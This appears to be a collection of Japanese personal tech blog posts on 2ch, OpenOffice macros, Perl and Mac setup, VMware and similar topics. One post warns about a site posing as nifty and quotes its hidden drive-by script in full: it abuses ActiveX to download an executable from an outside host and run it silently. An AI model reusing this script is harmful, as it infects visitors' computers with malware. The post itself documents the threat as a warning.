でまぁ、この「海賊」が「海賊国家」買収に名乗りということで、知っている人には笑えるネタだったりなのですよ。



やっぱり海外サイトはおもろいなぁー。


2ch.netドメインが失効したらみんなでhostファイルを共有?

2ch.netドメインが失効したときに備えて、板一覧IPアドレス版(適当Ver)。 (WIRBELWIND :: DJ, VJ, Composer ? Blog)


というものがすでにでき上がってる。板一覧が記述されたhostsファイルができ上がるのも時間の問題でしょう。そうすると、今度はこのhostsファイルに修正があったときに自動的に更新してくれるようなツールが登場するかも。



って、 それなんてNIS?



#コレが言いたかっただけです……

「家電にいちばん近いPC」と、「PCに近い家電」と

インプレスのPC Watch、「山田祥平のRe:config.sys」の 「家電にいちばん近いPC」という記事で、CES(アメリカの電機メーカー展示会ね)会場でPC関連メーカーのブースが盛況だったことから、PCの家電化が注目されているという話がされていた。


そこまではまぁよくある話なのだが、その後で

「PCは、もっと速くならなければならない。Intelはメインストリーム向けにクアッドコアプロセッサの出荷を始めたが、システム全体としてPCを考えたら、まだまだ遅い。」

という話題に突入。CDのリッピングに数分かかったり、数万枚の画像をブラウズするのに待たされたり、HDDに録画したTVをムーブするのに数十分かかるのでは話にならないからもっとPCの性能は必要だ、というのが1つの論点だ。

ところが、このような処理を高速に行うために開発されたデバイスはもうすでに存在する。PS3だ。PS3はPCと比べれば十分安い。現在はソフトや環境が整っていないものの、記事内で言及されている「家電的情報プラットフォーム」となり得るだけのスペックは備えている。

しかし、環境がもし整ったとして、それが家庭内でPCに置き換わる姿が想像できないのはなぜだろうか。俺が思うに、PS3はあくまで「家電」だからだと思う。

「家電」というのは、その名の通り「家」で共有するものだ。家族一人一人がそれぞれのPS3を持っている家庭なんて俺は想像できない。

ところが、前述の「CDのリッピング」や「数万枚の画像をブラウズ」、「HDDに録画したTVをムーブ」というのはあくまで個人的な作業だ。「家族で音楽を聴く」ということはあるかもしれないが、別に家族皆揃ってリッピングする必要もないだろうし、大体家族全員がすべて同じ音楽を聴いているなんてほぼありえないだろう。画像ブラウズだって、家族でアルバムを見ることはあるだろうが、スライドショーをする場合普通は事前にアルバムにまとめて管理しておくだろう。

一方、ネットは個人のコミュニケーションにおいて重要な位置を占めるようになり、それにアクセスするためのデバイスとしてのPCはますます個人に属するものとなっている。家族全員でメールアドレスやmixiアカウントを共有するなんてあり得ない。

そして、個人がPCを持ち、それがネットで接続される時代では、必ずしも高速なマシンは必要ではない。CDのリッピングはiTunes Storeが代わりにやってくれるし、写真のブラウズ=整理はわざわざ画像を一覧表示しなくても画像管理ソフトが勝手にやってくれる。TVなんか、HDDに録画しなくてもネット経由でストリーミングで見られるのだ。

こう考えると、これからの時代に必要なのはどちらかというと「PCの性能」ではなく、「高速なネットワーク」だ。もちろん超高性能なPCは必要だが、それは個人が所有している必要はない。逆に個人が利用するPC側は持ち運びのしやすさやユーザビリティのほうが重要だ。

記事中では、
これからの10年で、PCシーンがめざさなければならないのは、PCがなければ電子家電は成り立たないという常識を作ることだ。

と述べられている。これは半分同意するが、半分は同意し兼ねる。PCシーンがめざさなければならないのは、「PCが情報に接続する、もしくは情報を制御するためのデバイス」となることだ。そして、それに必要なのはPCのスペックではなく、機器間が簡単に連携できるようにする規格の標準化であり、コンテンツへのアクセスの容易化であり、「コンテンツの囲い込み」を防ぐことだ。

と、長々と書いてきたが、一番記事中で俺が「カチン」ときたのが以下の記述である。
Windows Vistaが重いというけれど、Vista程度のOSを動かすのに四苦八苦するようなPCはPCとして認めたくない。

Windows XPとWindows Vistaで同じことができるのに、なぜVistaだと重いのか。俺は単純な処理をするのにも四苦八苦するようなOSはOSとして認めたくない。

まぁ、実はVistaは重くなかったという話もちらほら聞くので実際はどうか分からんけどね。

現在の2chが無くなったら多分今度は誰も管理できない無法地帯ができるんでしょうかね

なんかみんな考えることは同じようで。


GIGAZINEでは 「P2P型の匿名掲示板は今、どこまで開発が進んでいるのか?」



というエントリが挙がっていたり、「秒刊Webマガジン」でも 「2ch閉鎖で次に集まる場所 次世代掲示板はこれだ。」 というエントリが挙がっていたりと、やはり2chがお亡くなりになったらP2P掲示板に移行するとの予想は多いですな。



専用のクライアントが必要、という話もありますが、2chライクにP2P掲示板を利用できるWebアプリが登場しちゃえばそれも解決、あとは人がどれだけ流れ込むかという話だけになってしまうわけで。



さらに、WebアプリがフロントエンドになってデータはP2Pで共有、という形態ならば複数のサーバーへ負荷が分散されるわけで、比較的簡単にフロントエンドとなるサイトが作るためこのようなサイトが多数出現、一気に普及という可能性もありえなくはない。



そして恐ろしいのは、このようなP2P掲示板ネットワークでは管理人というものが存在しないため、削除というものは存在しないこと。そして、運営主体が存在しないためかなり高い匿名性を保証できる可能性があること。



2chでは、ちゃんと手順を追って、正当な理由を申請すれば削除人によって問題ある投稿は削除されてきました。それが不可能な掲示板が普及するほうが、2chの存在よりももっともっと恐ろしいと思うんですがね。匿名性、という点では良いかもしれないけど。



#もちろん投稿を削除する機能を持ったP2P掲示板を作るのは不可能ではないですが。



しかし、2chの差し押さえまでを行わせる誹謗中傷ってどんなんなんかね。そっちのほうが興味深いわ。



#まぁ、本当に2ch.netが差し押さえられて利用不可能になるとはあまり思ってませんけどね。


MovableTypedeでハマる

RPC::XMLを使ってリモートからMovableTypeに自動投稿するスクリプトを書く。


そして、うまく動かねーなー、とさんざん悩んだ結果XMLRPC::Liteで書き直すも、やっぱりダメ。



ということで、sixapartのドキュメントページ眺めてたら「XML-RPCで外部ツールを使うには別途APIパスワードが必要」なる文章発見……。そういえばそうだよ。しかもこの文書ユーザーズガイドページにあったのでまったく視界に入っていなかったというオチですよ。



つーか、XMLRPC::Lite->proxy()->callにboolean型の引数を渡すにはどうすれば良いんだ?多分普通に0とか1とかで指定するとintで送信されそうな気がする、というかされてるっぽい。



これだと下書きでエントリ投稿できないじゃん〜。



もう少し検討ですかね。つぅかRPC::XMLで書き直すか。


OOoのCalcで全シートをCSVで保存するマクロ

複数のシート(ページ)が含まれる.odtファイルとか.xlsファイルの、全シートをそれぞれ.csvで保存するマクロを組んだ。あ、OOo2.0系向けですな。

Sub SaveAllSheetAsCSV
Dim oDoc As Object

 

  oDoc = ThisComponent

 

  Dim oCController as object

  oCController = oDoc.CurrentController

 

  If oDoc.supportsService( "com.sun.star.sheet.SpreadsheetDocument" ) Then

 

    Dim oSheets As Object

    oSheets = oDoc.getSheets()

 

    Dim oFolderPicker As Object

    oFolderPicker = createUnoService("com.sun.star.ui.dialogs.FolderPicker")

    oFolderPicker.execute()

 

    Dim aArgs(1) As New com.sun.star.beans.PropertyValue

    aArgs(0).Name = "FilterName"

    aArgs(0).Value = "Text - txt - csv (StarCalc)"

    aArgs(1).Name = "FilterOptions"

    aArgs(1).Value = "44,34,76"

 

    Dim SaveDir As String

    SaveDir = oFolderPicker.getDirectory()

    For i% = 0 To oSheets.getCount() - 1

 

      Dim SaveURL As String

      SaveURL = SaveDir + "/" + oSheets.getByIndex( i ).getName() + ".csv"

 

      oCController.ActiveSheet = oSheets.getByIndex( i )

      MsgBox SaveURL

 

      oDoc.storeAsURL( ConvertToURL(SaveURL), aArgs() )

 

    Next i

 

    oCController.ActiveSheet = oSheets.getByIndex( 0 )

  Else

    MsgBox "Document is not a spreadsheet."

  End If

 

End Sub

iPhoneがでちゃったね

iPod+PDA+携帯というiPhone、でちゃいましたね。
しかも今回の基調講演はApple TV(昔iTVと呼ばれてたもの)とiPhoneだけという、Macユーザー的にはちょいと残念な結果に。



しかも日本で正規にiPhoneが買えるようになるのは来年だそうで。。。



まぁ、基調講演でスルーされたけどこっそり新製品が出る、というのはよくある話なのでこれからに期待しますかね。


「OpenOffice.org英語版を使いましょうキャンペーン」などと勝手に言ってみる

「OpenOffice.org V2.0に重大なセキュリティホール、だが・・・」
http://slashdot.jp/~masakun/journal/388195



というエントリ、「OpenOffice.org(以下OOo) 2.0.x系にセキュリティホールがあるので対策として2.1を使いましょう」というのに対して「日本語版はまだ2.1が出てないんだけど日本語版ユーザーはどうすれば良いんじゃ!」という話。



ボランティアベースのプロジェクトにフリーライダーが色々言うのはどうかと思うんだけど、結局OOo日本語版を作ってる方々はあくまで副業というか、ボランティアでOOo日本語版を作っているわけで、仕事とかプライベートとかの優先順位の問題で作業が遅れるのはしょうがない。



ということで、しょうがないので英語版を使いましょう(短絡的結論だな、おい)。



でまぁ、MLとか見る限りでは日本語版リリースが遅れる理由はQA作業(品質チェックね)の遅れなのが主な原因っぽいわけで、こいつは日本語環境でもちゃんと全機能が動作するかチェックする、という作業。そして一応OOoは国際化対応されているはずなので重大なエラーは出ないハズ。



#こうやって「日本語版が出るのが遅いから英語版を使う」ユーザーを増やすことで、日本語版プロジェクトにプレッシャーをかけるor「しょうがないから俺も手伝うぜ」的なユーザーを増やす効果もあるとかないとかなんというか。



まぁ、各国語版のリリース準備ができる前に英語版がリリースされてしまうのが問題、という話もあるんですが、これをOOo本体の開発プロジェクトが英語版以外を軽視している、ということなんですかねぇ。




blosxomでブログシステムを作ってみる

「blosxom」というPerlで作られた軽量ブログシステムでブログ製作中。



とりあえず色々探したんだけど、意外にPerlで作られたブログソフトって少ないのね。ただ、blosxomはコードサイズも小さいのでカスタマイズのしがいがありそうで面白い。



blosxomは指定フォルダにテキストを放り込む形で記事を投稿する方式なので、まずは投稿システムを作りますかね。わざわざローカルで書いてFTPでアップ、って面倒臭いし。



そんでもって最終的にはこのスラドのjournalで書いた記事を自動でincludeできる仕組みを作る予定だったり。



#正月休み中にそれが完成する予定だったはずが(汗


Blog test!

Now setting my blog system, using “blosxom”. But, “entry posting system” is not prepared now… so, this test entry is made by console � vi. So, I can’t input Japanese characters… (w


TO IUKOTODE AKEMASHITE OMEDETO GOZAIMASU m(_ _)m


「www.homepage3-nifty.com」という、niftyに偽装したサイトが登場

タイトル通り。


「www.homepage3-nifty.com」と、URLだけみるとぱっと見nifty内にあるサイトっぽいけど、実はよく見ると分かるとおりnifty内ではなく、中国のサイトにつながるようで。



で、このサイト上にあるページには幅0、高さ0のインラインフレームに以下のようなスクリプトを仕込んだページを表示させる、と。

よく考えるよなぁ。確かにこのURLだとダマされる人が出てくるかも。

function do1(mx,as,p)

{
    mx.Send();
    as.Type = 1;
    as.Open();
    as.Write(mx.responseBody);
    as.SaveToFile(p,2);
    as.Close();
}
var a = null;
var mx,as,p;
p = “C:\\pageflies2.exe”
a = (document.createElement(“object”));
a.setAttribute(“classid”,”clsid:BD96C556-65A3-11D0-983A-00C04FC29E36”);
try{mx = a.CreateObject(“Microsoft.XMLHTTP”,””);}catch(e){};
if(!mx)try{mx = new ActiveXObject(“Microsoft.XMLHTTP”);}catch(e){};
try{as = a.CreateObject(“Adodb.Stream”,””);}catch(e){};
if(as){
    mx.Open(“GET”,”http://www.game-oekakibbs.com/bbs/server.exe”,0);
    do1(mx,as,p);
    var r;
    try{r = a.CreateObject(“Shell.Application”,””);}catch(e){};
    if(r)
    {
        r.ShellExecute(p,””,””,”open”,0);
    }else
    {
        try{r = a.CreateObject(“WScript.Shell”,””);}catch(e){};
        if(r)r.Run(p,0);
    }
}

メモ(OS XでPerlのLWPを使う)

Mac OS XでPerlのLWPをインストール。ちなみに環境はMacBook、Mac OS X 10.4.8(Intel)。



CPANで一発インストールかと思いきや、HTML::Tagsetに依存しているらしいのでそっちを先にインストールする必要アリ。

$ sudo cpan -i HTML::Tagset

とやってから、

$ sudo cpan -i LWP

以上でOKなはず。

9年前のMacを使ってみる

ちょいと色々あって、初代iBookを一日ほど使わねばならない状況となったんだけど、意外にまだ使えるね。といっても、Webブラウズとテキスト編集くらいしかやってないけど。


一応スペックを挙げると、PowerPC G3/300MHz、メモリ192MB、HDD6GB、ディスプレイは800×640で、OSはMac OS X 10.2。初代iBookは確か1998年発売なので、9年前のPCですよ。一応Firefoxなら問題なくGMailも使えたし、YouTubeもコマ落ちしまくりだけど一応見られました。



初代iBookはデザイン的にはめちゃくちゃ個性的なので捨てられないのですが、これならまだまだ生き延びさせても大丈夫かな、と。



# もちろん仕事では使う気がしませんが……。というか、むしろよく2年前までこのMacを使ってたな>俺。

みんなMSが大好きなんだね

「中央省庁では互換性を重視し、Word、Excelは購入の対象外へ?」

http://slashdot.jp/article.pl?sid=07/01/01/1028204



で議論されているネタは9割方Word、Excel絡みの話で、一太郎の話は話題に上がってもほぼスルーなのが面白い。



知り合いの現役自衛官(技術系の人かつ士官なので当然文書は大量に書く人)によると、自衛隊は一太郎が必須だ、とのこと。以前話を聞いた限りでは、官公庁では一太郎率は相当に高いそうで。しかしコメント中では そのような話題 が振られてもスルーなのを見ると、みんなMSが好きなんだな〜、と。



まじめにスラドにアクセスしている人たちのコンピューター嗜好を調べれらたら面白いだろうなぁ〜。


地震に脆いのはインターネットだからではなく、冗長設計していなかったからなのよ

「台湾地震 有線…ネット社会のもろさ」

http://headlines.yahoo.co.jp/hl?a=20061229-00000002-san-int



という記事。



皆様この件については重々ご存じかとは思われますが、どうも「インターネットは災害に弱い」という話が出てきそうで嫌なんですが。もともと軍事用な分散ネットワークなはずなのに。



まぁ、実際帯域幅が減少して輻輳が発生しているとの事なので、あの辺はきっと十分に冗長化されていなかったのでしょう(誰も無駄に冗長化しようとも思わんだろうし)。ということで実際のところアジアの回線はどうなっているかに興味があるのですが、どっかでかつてのインターネットマガジンについていたような、アジア全域の回線接続マップとか公開されてないんでしょうかねぇ・・・

PS3が普通に売ってた。買う気はしなかったけど。

PS3の生産がやっと追いついたのか、それとももう欲しい人には行き渡ってしまったのか、普通にツタヤとかドン・キホーテとかビックカメラにPS3が並んでおりました。一方、ビックカメラのWiiには行列が。やっぱりPS3安いモデルで49,800円は高いよなー。結局どちらも買ってませんが。



ということで、年末年始休みは俺的恒例(?)、ゲームの日々。普段ゲームとかやる気がしないので、1年に数回という貴重な時間でございます。



一昨年はPSでFRONT MISSION 2nd、そして昨年はGBAmicroでFF1/2と時代から取り残されてゲームをやっているわけですが、今年はMacBookにWinXPを導入してPCゲームができる環境がやっと整ったということで、昨年買ったグラフィックボードについていたPCゲームに手を出してみる。



#ちなみになんでそのグラフィックボード(確かGeForce6800系搭載)を買った年にやってなかったかというと、単純にWindows XPを持ってなかったから(汗)。PCはLinux専用だったのですよ



ということでまずゲームその1、「Duke Nukem Manhattan Project」。DOS時代、かつて大ヒットしたFPS「Duke Nukem」シリーズの横スクロール3Dシューティング。まぁ、簡単に言えば アメリカナイズドな魂斗羅 ですな。アーノルドシュワルツネッガーのようなマッチョが火器打ちまくってエイリアンぶっ殺すというやつ。



魂斗羅は好きなゲームだけど、アメリカナイズということでハマれるかどうか心配していましたがかなり面白いっす。SFC版のドンキーコング(横スクロールアクションのやつね)のような、隠しエリア探しとかアイテム探しの要素があるし、グラフィックもそこそこキレイだし、何より主人公が叫ぶ言葉がスラング満載でまさにアメリカの暴力ゲームですよ。



ということで、自腹切って買うかどうかは疑問だけど普通に面白いゲームでございましたとさ。

ちなみにCore 2 Duo、グラフィックは945チップセット内蔵のだけどこのレベルの3Dなら問題なく表示できる模様。



# 実はMacBookの3D能力のテストも兼ねていたりするのだ



ということで、続いて前評価の高い、全編英語のRPG「Morrowind」にトライするか悩み中……。動くのか?という話もあるが。


VBAよりAppleScriptのほうが歴史古いんだぞ

結局29日まで色々とお仕事があって、結局今日から本格的にお休みです。まぁ、休めるだけマシなんでしょうな。



「AppleScriptでマルウェアも簡単に作成?」

http://www.itmedia.co.jp/enterprise/articles/0612/28/news018.html

で、AppleScriptがマルウェアの温床になるぞ、とか言われてるんですが。



# いまさらなにを言うか……。言いがかりに近いぞ。だいたい、AppleScriptがいつからあると思ってるんじゃ。確かSystem 8にはもう搭載されていはず、と思って調べたらSystem 7(1991年)らしい。また、VBSは1994年のExcel 5.0かららしい(もちろんそれ以前からマクロ言語はあっただろうが)から、AppleScriptのほうが歴史古いんだぞ。



まぁ、歴史が古いかどうかは別にどうでも良くて、結局は無意識にAppleScriptが実行されるかどうかが問題なわけですが(VBSが問題になったのはユーザーが認識しないまま勝手に実行される点)、その点ではどちらも対策はだいぶとられているかと思いますが。



とか思って原文

http://blog.info-pull.com/2006/12/26/applescript-even-easier-than-vbs-i/

を読んだらだいぶ印象が違うんですが。原文タイトルは「AppleScript: Even easier than VBS? 」、訳すと「AppleSpriptはVBスクリプトよりも簡単かも?」てな感じ。こちらの記事だと、VBスクリプトでできることがAppleScriptでも簡単にできちゃうので、VBSでマルウェアを作るのと同じ感じでAppleScriptでも作れちゃうよ、てな内容になってる。



で、ITmedia記事の締め「ただ、OS Xのマルウェアに投資する価値があるかどうかという疑問はあると言い添えている。」というのが、一見意味が分からなかったんだけど、対応する原文は「But the question is, Is it really worth (as in profit) to invest time on OS X malware? The answer remains unknown. 」。



訳すと「OS Xのマルウェアを開発することに価値がある(=そこから収益を上げられる)かどうかは疑問だ」という感じでしょうか。



だらだらと書いてきちゃったけど、結局原文では「AppleScriptは多機能で便利だけど、VBSと同じようにマルウェアも簡単に作れちゃうので危ないかも」という論調だったのが、ITmediaの記事だと一方的に「AppleScriptは危ない」という印象を与え兼ねない記事になってるじゃねーか(俺も一読してこう思ったし)。



これじゃ、翻訳ってレベルじゃねーぞ!!(←一度言って見たかった)

Linux Kernel Watch 12月版

@ITの「Linux Kernel Watch 12月版」が出てますな。

http://www.atmarkit.co.jp/flinux/rensai/watch2006/watch12a.html



日本語で読める数少ないLinuxカーネルの最新情報で、実際にカーネル開発に携わってる上川さんが書いてるので非常に役立つんですが、情報が遅いのが残念なんですよね……。Webなのに、「12月版」には11月一杯までの情報しか載っていないという。



で、それによると次バージョンのLinuxカーネル2.6.20ではカーネルに仮想化機能が実装だそうで、


 

KVMに対応したQEMUを利用すれば、Intel VTやAMD-Vを活用してQEMUを動かすことができます


だそうだ。Xenはどうしても大掛かりになる&一部ハードウェアには未対応なものもあるようなので、完全フリーな「VMware Workstation」的な高速仮想マシンが利用できるようになるのには期待です。


VMwareのインテル版Mac OS X向けバージョンのパブリックβ公開。

登録さえすれば誰でも入手可能。名称は「VMware Fusion」だそうで。
ダウンロードサイトは ここ



ということで、とりあえず入手。でも時間がないのでインストールはまた後日。



Mac版のVMware Playerは出ないのかねぇ。とりあえずこれを様子見つつ、Parallelsをチェックしつつ、という感じですかね。

あ、国内版Parallelsは代理店によって激しく価格上乗せされてるのでご注意を。




MYCOMでやるネタなのか?

MYCOMで 「30本弱のアニメが新年スタート、2007年冬期アニメ新番組リスト」 という記事が。



MYCOMって、こういうサイトだったっけ? コラムはかなり面白いんだけどニュースはいまいちな感じだったので、新しい方向性を探しているのだろうか。



しかし、こういうのは個人サイトが作ったもののほうがいろいろ充実していて面白いわけですが。秋分は全アニメ、画像付きで一覧したのとか流れてたけどあれくらいやらないと面白くないぞ。ネット配信アニメもリストに入っているところはMYCOMっぽいといえばっぽいけど。



この中で注目は「獣装機攻ダンクーガ ノヴァ 」と「のだめ」ですかねぇ。つぅかダンクーガ、設定を一新して主人公ら味方チームが全員女の子になるらしいのですが、何を狙ってるんでしょうか……。熱くないとダンクーガじゃない気がするんだけど。



まぁ、結局こんなことを書きながらそこまでは興味はないのできっとまったく見ないで次クールも終わることでしょうが。




ホットペッパー.jpがWebAPIを提供だとさ

こちらがニュースリリース。
でもって、 こちら がAPI解説。



ざっと見たところ、いまの所はとりあえず条件を入力して該当する店舗データを取得する、というのができるらしい。



図系サービスとの連携はすぐ思いつくけど、いまいち面白げな利用方法は思いつかんなぁ・・・

とりあえずマークはしておきますかね。


メリークリスマスとか言って見る

とりあえず別にそれらしいことは何もしてませんがとりあえず言って見る。


ってことで、いわゆる「Web 2.0」が流行ってる現在なんかWeb 2.0的なテクノロジを使ったクリスマスネタとか出てくるのかなぁ、とか思ったわけですが、とりあえずそんなものは全然耳に入ってきてませんな。



Google Earthでサンタの現在位置が見えるとか、そういうサービスってないのかね。あ、Google Earthの時点でブラウザじゃないからWeb2.0じゃないのか。




Webメールですべてのメールを処理できる人っているのか?

現在、会社の(大人の)事情で二つのオフィスを行き来する生活になっているワケですが、うちの会社のデフォルトメールシステムはExchange+Outlook。しかも、社内イントラからしか接続できない。そのため、片方のオフィスでは常にWebメールを使う羽目に。


MS ExchangeのWebメール(Outlook Web Accessという)は一応FirefoxでもSafariでも動くし、IEで接続するとMSのアレな魔法によってIEがOutlookそっくりに変身するという非常に良くできたものなんですが、さすがにこれで一日数十通のメールを廻すのはしんどい……。



つぅか、「セキュリティ対策のため」Exchangeへの接続をイントラに限定しているのは分かるのだが、ユーザー名+パスワードさえ分かればいくらでもアクセスできるWebメールは外部から自由にアクセスできるのに外へのメールの転送禁止っていうのはなんでやねん。



Outlookも、2000はそこらへんのメーラーよりもかなり不便でしんどかったわけですが、2003になってだいぶ追いついてきた感じでなんとか使い物にはなっていたのに、今度はこの仕打ちか。



しかも、一番の問題はIEで接続するとHTMLメールでしかメールを作成・返信できないんですよ。仮にもIT業界の端っこにいて、Outlook Expressの出始めのころに「HTMLメール送ってるなんてnewbieだぜhehehe.」とか言っていた(かは定かではない)のに、今度はHTMLメールを強制される始末。



こうやって人間は大人になっていくんですね(棒読み)



外からメールサーバーに接続できないのは「情報漏えい防止」のためなわけなんですが、自分らそんな漏えいしたら不味いものをメールで流してませんから〜。まぁ、たまに 企画・営業系の方々が何を誤ったのか何か金額が記載された.exlファイルとか.pptファイルとかを全社送信 とかしちゃってますけど。しかも半年に一回くらい……。



#ちなみにexchangeは送信後のメール取り消し機能があるのですが、受信メールを速攻別マシンにIMAPで転送している自分には無意味ですから〜。



残念(古っ)。



さぁ、どうしましょかね。

思想の違い?

首相官邸のトピに続き、住基ネットのトピがまたもや炎上気味なわけですが、どちらのトピにも本業SIerさんな方々らしき人々が書き込まれていて、その思想の違いに驚くばかり。


俺もそんな商売がしてみたいぜ(棒読み)



やっぱりWeb系だとかをやってる人たちと、業務用とかのシステムを作ってる人たちとは思想の違いがあるんだろうなー。@ITかどっかでネタにしてもらえると面白いのかも。




NHKでネット界隈で有名な方々多数が議論してたよ

ちょいと仕事関係の知り合いも出演する、ということでNHKの「日本の、これから」という番組をだらだら「ながら見」する。


その知り合いは有名サイト管理人で、ほかにもネット界で有名な人が「ネット社会の安全・どう守りますか」というテーマで討論する、という話を聞いていたので「NHKもずいぶんと面白いことをするな」と思ったら、実際見たら一般人(主婦とかおじいちゃんとか普通の会社員とか)も多数だしメインのパネラーがいてその一般人はオマケみたいな感じでイメージと違うじゃーん、てな感じですよ。



しかし、ネット界隈の人のセレクションは面白すぎる。「連邦」の吉野さん、「秒間SUNDAY」の湯川さん(なんでバケツかぶってないんですか笑)、「小ネタBlog」のよいこさん。あとはちょっと前(一年前か)に話題になった「女子大生ブロガーはあちゅう」に、「VIP STAR」で有名になってライブドア忘年会にも呼ばれたkobaryu氏、そしてなぜか声優のゆりしーさんが。



なんか孫さんも出る、という話を聞いていたんだけど、出てなかったのは携帯で忙しいのか。



でまぁネットにあまり触れていない一般人主婦と、そんなハードなネット族を議論させてもかみ合わないわけで、いまいち何をやりたかったのかよく分からない番組でしたとさ。



ていうか、ネットについての議論なのにネットからご意見応募ができないってのはなんやねん。そして番組の2ch実況スレはものすごい勢いで進んでいたりしてそっちはそっちで面白かったですよ。この実況スレをリアルタイムで番組で紹介したら面白かったのに。




久しぶりにタレコミが採用されたと思ったら

炎上してやがるorz
しかも運悪く俺のタレコミがずっとトップに上がっているし。



もちろん「1/10で引き受けます」はネタなワケでこの日記に残っているとおりもともとはコメントアウトだったはずなのに。

ちなみに1/10っていうのは、どっかの大手データセンターで1ラック借りて、そこにHPとかの1Uラックサーバーを詰めてハードウェア構築、担当は専任1〜2人+なにか起こったらヘルプ、というような感じを想定。これで本当に7,000万円/年で済むかは知らんけど、7億よりは余裕で安いはず。



と、これを普通に書いたらさらに炎上だろうな(笑)。



いや、元のニュース記事で一番引っかかったのは、「セキュリティなどの面で万全を期しているから高い」という点なんですが。別に首相官邸だろうが一般サイトだろうが、やるべきセキュリティ対策は変わらないと思うのだが……。



まぁ、IT業界の下っ端の空想なのでスルーしてくださいな。


小泉内閣メールマガジン+首相官邸Webサイトの制作運営費は年間7億円超

MSN毎日インタラクティブの記事によると、「小泉内閣メールマガジン」と首相官邸Webサイトの制作運営費は年間7億円超だそうだ。


小泉内閣メールマガジンは毎週1回発行で、ピーク時には約227万部、現在は約160万部を配信している。また、首相官邸Webサイトは動画配信ページなどはあるものの、規模的には一般中堅〜大手企業並。



HPの制作や運営は民間の制作会社などに委託されており、「日本を代表するサイトで注目度が高く、セキュリティーなどの面で万全を期している。メルマガも個人情報などの管理が不十分とならないよう、必要な経費を計上している」ため、一般から見れば桁外れに高額とも見える予算をかけているそうだ。



自分は一般サイトの運営費などはよく分からないのだが、規模的にもそんなに大きいサイトではなく、セキュリティといってもとくに複雑なWebアプリケーションを動かしているわけでもないため、そこまで費用はかからないとも思うのだが……。この金額、高いのか、安いのか。



# その10分の1、いや20分の1の金額で引き受けますので俺に管理させてください


携帯ってよく分からないよ

SBM、「新スーパーボーナス」なしでも「ゴールドプラン」加入可能に
http://japan.internet.com/allnet/20061208/4.html?rss



ソフトバンクモバイル、またもや新たな規約変更。なんかここ数ヶ月で色々変わり過ぎているんですが、みなさましっかり把握できているのでしょうか?

俺はAUなのでまったく関係ないのですが、ソフトバンクモバイルどうなの、って俺に聞かれても困るわ。



ちょっと前小学校時代の友人達と飲む機会があったんだけど、やっぱりほとんどの人は¥0の意味を把握できていなかったりだったのでソフトバンクはそういう方々を狙って錯誤契約をさせてると言われても反論できなくね?




いつの間にやらGoogleはちょこちょこと変わっているから驚く

いつの間にか、Googleトップページの[検索]ボタンの下にある「ウェブ全体から検索」(確かコレだったと思う)が、「晴のち時々雨」になってるよ!(日本語のページを検索、ラジオボタンの隣ね)


なんじゃこりゃ、と思ったらこれはパーソナライズドホームの場合のみのようだ。意味不明。。。

もしかして天気予報なんですか?とか思ったけど、自分の住んでいる場所を登録した覚えはないし。



なんじゃこりゃ。


HDD内にあったメモ2。

■PCの電源事情
 現在世に出回っているほぼすべてのPCは、ATXという規格に基づいて各構成要素が設計されている。ATXは1995年にインテルによって定められたPC/AT互換機向けのハードウェア規格でPCのハードウェア構成についての規格であり、マザーボードや筐体(☆ルビ:きょうたい)、電源ユニットなどについて、物理的構成や電気的特性などを定めている。



●ATXの歴史

 ATX規格の起源は、1981年に発売されたIBM製PCであるIBM Personal Computer model 5150(IBM PC 5150)までさかのぼる。このIBM PC 5150はCPUにインテルの16ビットCPUである8088、OSにMicrosoftが開発したPC-DOS(のちのMS-DOS)1.0を搭載したPCで、大型コンピュータ専門のベンダーだったIBMがPC市場向けに初めて本格的に投入したPCでもある。

 それ以前に存在していたPCがプロセッサやソフトウェアなどに各メーカー独自のものを採用していたのに対し、IBM PCCは比較的容易に入手可能な、既成の部品を組み合わせて作られていた。さらに、仕様が公開されていたためサードパーティーからは多くの周辺機器が発売され、さらにほかのPCメーカーもIBM PCと互換性を持つPCを発売し、その後IBM PCとその互換機はPC市場で圧倒的なシェアを握ることとなった。さらに1983年にはIBM PCをアップグレードしたIBM PC XT、そして1984年にはのちにISAバスやシリアルポート、パラレルポートを搭載したIBM PC/ATが発売された。そしてPC/ATは多くのメーカーによってさまざまな拡張が施されながら多くの互換機を生み出していった。

 一方、PC/AT互換機で使用されていたAT仕様はオリジナルのPC/ATに搭載されていたマザーボードや電源ユニットを基にして各メーカーが独自に定めたものであった。そのため、厳密にはパーツや拡張スロットの位置が定められておらず、また各構成要素の高性能化や、さまざまに加えられた拡張に対応しきれない面もあった。そこで、インテルがAT仕様を基に新しいデバイスに対応でき、さらにメンテナンス製も向上させるように考案されたものがATXである。ATXではマザーボードのサイズやネジ穴の位置、各種インターフェイスコネクタや拡張スロット、さらに電源ユニットのスペックなどが厳密に定義され、これに準拠した部品であれば(物理的には)問題なく接続が行えたため、各種部品メーカーの参入を促し、結果としてPC構成要素の多品種化、低価格化がなされていった。

 ATX規格はCPUや拡張ユニットなどの高性能化に対応するためバージョンアップが重ねられており、現在では2004年に発表されたバージョン2.2が最新のものとなっている。



■Netdumpで環境によってはダンプがとれず、

「recursively called」とかいうエラーが表示される場合があったりする。

#VMwareを使った環境で発生。



こんなときは、arpコマンドでnetdump-server側のARPエントリにnetdump-client側のIPアドレス-MACアドレス対応を追加すれば良い。

# /sbin/arp -s <クライアントIP> <クライアントMAC>

以上。

HDDの中にあったメモをひっくり返す。

■Mac OS Xではグローバルな環境変数を~/.MacOSX/environment.plistで設定可能。


environment.plistの中身は以下な感じ。





    LANG
    ja_JP.EUC
    XMODIFIERS
    @im=kinput2.macim
    PERL_BADLANG
    0

■GRUBでCD/DVDブート
・stage2_eltoritoをブートファイルに
・カタログファイルは自動生成。適当にそれらしいものを。

■Fedoraミラーからのディレクトリツリー取得
rsync -auv –exclude ‘*.iso’ rsync://hogehoge.hoge/fedora/core /opt/Fedora /MIRROR/fedora/
とか。

■ライブラリキャッシュ
# ldconfig

でライブラリキャッシュの更新。

ライブラリディレクトリは/etc/ld.so.confファイルで設定。

http://www.linux.or.jp/JF/JFdocs/Program-Library-HOWTO/shared-libraries.html



■Perl on Win32

CygwinのPerlだと、statの結果(ctime,mtime,atime)がおかしい。Active PerlだとOK。



■FreeBSD CD-ROM/DVD-ROMの作り方



■使用ツール:FreeBSD_mk_index6.0

FreeBSD_mk_indexのFreeBSD 6.0以降用。


  1. FreeBSDのミラーを作る

    適切にミラーをかけておくこと。

    emirrorを使ったミラー設定例)
[mirror]

Title: FreeBSD
Category: Distributions
Output-file: freebsd.html
Url: ftp://ftp.jp.freebsd.org/pub/FreeBSD/
#Url: ftp://ftp1.jp.freebsd.org/pub/FreeBSD/
#Url: ftp://ftp2.jp.freebsd.org/pub/FreeBSD/
Parent: /pub/FreeBSD/
